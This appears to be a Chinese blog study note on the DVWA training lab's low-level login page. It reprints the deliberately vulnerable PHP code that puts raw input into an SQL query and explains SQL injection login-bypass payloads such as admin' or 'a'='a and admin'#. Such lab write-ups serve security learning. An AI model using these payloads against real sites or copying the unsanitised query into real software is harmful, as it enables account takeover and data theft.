DVWA学习暴力破解low级别
DVWA学习(一)
暴力破解low 级别
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
【DVWA学习暴力破解low级别】$query= "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';
";
$result = mysql_query( $query ) or die( '
' . mysql_error() . '
' );
if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );
// Login successful
echo "Welcome to the password protected area {$user}
";
echo "
文章图片
若密码错误(die()+没有一条记录)
输出
echo "
Username and/or password incorrect.
";
代码分析:
该代码将输入值直接带入SQL查询,依据返回记录情况判断登陆是否成功。
漏洞利用:
该代码存在SQL注入漏洞,由于没有对输入的字符做任何的过滤便直接带入SQL查询,也就是说可以在输入中构造SQL使其到数据库中查询。
漏洞细节:
admin’ or ‘a’=’a
admin#
对于low级别的理解:
这是low级别的查询语句(单引号是否可忽略)
SELECT * FROM `users` WHERE user = '$user' AND password = '$pass'
若忽略单引号注入替换:
admin or 1=1
带入SQL:
SELECT * FROM `users` WHERE user = ' admin or 1=1' AND password = '$pass'
带入数据库查询的结果:
文章图片
无法查询出结果
带上单引号:
admin’ or ‘a’=’a
带入查询:
SELECT * FROM `users` WHERE user = 'admin’ or ‘a’=’a' AND password = '$pass'
文章图片
注意带入:
Admin’#在数据库中无法查询成功
但是在DVWA中可成功爆破
原因如下:
缺少“; ”
原本的;被#注释掉了
文章图片
推荐阅读
- 由浅入深理解AOP
- 继续努力,自主学习家庭Day135(20181015)
- python学习之|python学习之 实现QQ自动发送消息
- 一起来学习C语言的字符串转换函数
- 定制一套英文学习方案
- 漫画初学者如何学习漫画背景的透视画法(这篇教程请收藏好了!)
- 《深度倾听》第5天──「RIA学习力」便签输出第16期
- 如何更好的去学习
- 【韩语学习】(韩语随堂笔记整理)
- 焦点学习田源分享第267天《来访》